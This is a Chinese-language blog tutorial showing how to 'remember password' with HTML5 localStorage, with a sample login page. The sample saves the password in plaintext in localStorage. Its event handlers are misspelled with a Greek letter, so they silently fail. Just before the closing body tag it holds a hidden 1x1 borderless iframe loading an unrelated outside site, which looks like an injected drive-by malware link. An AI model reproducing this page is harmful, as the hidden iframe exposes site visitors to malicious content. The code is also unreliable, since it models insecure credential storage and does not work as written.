web存儲用戶名和密碼



                                    web存儲用戶名和密碼


如何永久長期存儲用戶名和密碼,除非你手動清除。

    

在客戶端存儲數據

HTML5 提供了兩種在客戶端存儲數據的新方法:

  • localStorage - 沒有時間限制的數據存儲
  • sessionStorage - 針對一個 session 的數據存儲

之前,這些都是由 cookie 完成的。但是 cookie 不適合大量數據的存儲,因爲它們由每個對服務器的請求來傳遞,這使得 cookie 速度很慢而且效率也不高。

在 HTML5 中,數據不是由每個服務器請求傳遞的,而是隻有在請求時使用數據。它使在不影響網站性能的情況下存儲大量數據成爲可能。

對於不同的網站,數據存儲於不同的區域,並且一個網站只能訪問其自身的數據。

HTML5 使用 JavaScript 來存儲和訪問數據。

代碼實現如下:

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
</head>
<body>
    <label for="">
        用戶名:<input type="text" class="userName"/>
    </label>
    <br/><br/>
    <label for="">
        密 碼:<input type="text" class="pwd"/>
    </label>
    <br/><br/>
    <label for="">
        <input type="checkbox" class="check" id=""/>記住密碼
    </label>
    <br/><br/>
    <button>登錄</button>

    <script>
        var userName=document.querySelector('.userName');
        var pwd=document.querySelector('.pwd');
        var chk=document.querySelector('.check');
        var btn=document.querySelector('button');

//        當點擊登錄的時候 如果需要記住密碼:  存儲密碼,否則 清除密碼
        btn.οnclick=function(){
            if(chk.checked){
//                記住數據
                window.localStorage.setItem('userName',userName.value);
                window.localStorage.setItem('pwd',pwd.value);
            }else{
//                清除數據
                window.localStorage.removeItem('userName');
                window.localStorage.removeItem('pwd');
            }
        }
//        下次登錄的 ,如果記錄的有數據 直接填充
        window.οnlοad=function(){
            userName.value=window.localStorage.getItem('userName');
            pwd.value=window.localStorage.getItem('pwd');

        }
    </script>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>




發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章